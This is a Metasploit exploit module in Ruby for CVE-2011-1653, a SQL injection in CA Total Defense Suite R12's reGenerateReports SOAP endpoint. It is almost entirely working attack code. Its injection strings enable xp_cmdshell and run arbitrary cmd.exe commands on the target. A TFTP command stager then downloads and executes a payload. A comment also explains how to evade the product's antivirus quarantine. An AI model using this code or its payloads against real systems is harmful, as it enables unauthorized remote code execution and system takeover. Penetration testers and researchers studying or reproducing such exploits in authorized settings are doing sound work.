##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::CmdStagerTFTP
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection',
			'Description'    => %q{
					This module exploits a SQL injection flaw in CA Total Defense Suite R12.
				When supplying a specially crafted soap request to '/UNCWS/Management.asmx', an
				attacker can abuse the reGenerateReports stored procedure by injecting arbitrary sql
				statements into the ReportIDs element.

			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-134' ],
					[ 'OSVDB', '74968'],
					[ 'CVE', '2011-1653' ],
				],
			'Targets'	=>
				[
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						}
					]
				],
			'Privileged' => true,
			'Platform' => 'win',
			'DisclosureDate' => 'Apr 13 2011',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(34443),
				OptBool.new('SSL',   [ true, 'Use SSL', true ]),
				OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
			], self.class)
	end

	def windows_stager

		exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

		print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
		execute_cmdstager({ :temp => '.'})
		@payload_exe = payload_exe

		print_status("Attempting to execute the payload...")
		execute_command(@payload_exe)

	end

	def execute_command(cmd, opts = {})

		#	NOTE: This module was tested against the MS SQL Server 2005 Express bundled with
		#	CA Total Defense Suite R12. CA's Total Defense Suite real-time protection
		#	will quarantine the default framework executable payload. Choosing an alternate
		#	exe template will bypass the quarantine.

		inject = [
				"'') exec master.dbo.sp_configure 'show advanced options', 1;reconfigure;--",
				"'') exec master.dbo.sp_configure 'xp_cmdshell',1;reconfigure;--",
				"'') exec master.dbo.xp_cmdshell 'cmd.exe /c #{cmd}';--",
			]

		inject.each do |sqli|

		soap = %Q|<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
	<soap12:Body>
		<reGenerateReports xmlns="http://tempuri.org/">
			<EnterpriseID>msf</EnterpriseID>
			<ReportIDs>#{sqli}</ReportIDs>
			<UserID>187</UserID>
		</reGenerateReports>
	</soap12:Body>
</soap12:Envelope>
		|

		res = send_request_cgi(
			{
				'uri'   =>  '/UNCWS/Management.asmx',
				'method' => 'POST',
				'version' => '1.0',
				'ctype' => 'application/soap+xml; charset=utf-8',
				'data' => soap,
			}, 5)

		if ( res and res.body =~ /SUCCESS/ )
				#print_good("Executing command...")
			else
				fail_with(Exploit::Failure::Unknown, 'Something went wrong.')
			end
		end

	end

	def exploit

		if not datastore['CMD'].empty?
			print_status("Executing command '#{datastore['CMD']}'")
			execute_command(datastore['CMD'])
			return
		end

		case target['Platform']
			when 'win'
				windows_stager
			else
				fail_with(Exploit::Failure::Unknown, 'Target not supported.')
		end

		handler

	end
end
__END__
POST /UNCWS/Management.asmx HTTP/1.1
Host: 192.168.31.129
Content-Type: application/soap+xml; charset=utf-8
Content-Length: length

<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
	<soap12:Body>
		<reGenerateReports xmlns="http://tempuri.org/">
			<EnterpriseID>string</EnterpriseID>
			<ReportIDs>string</ReportIDs>		<--boom!!
			<UserID>long</UserID>
		</reGenerateReports>
	</soap12:Body>
</soap12:Envelope>
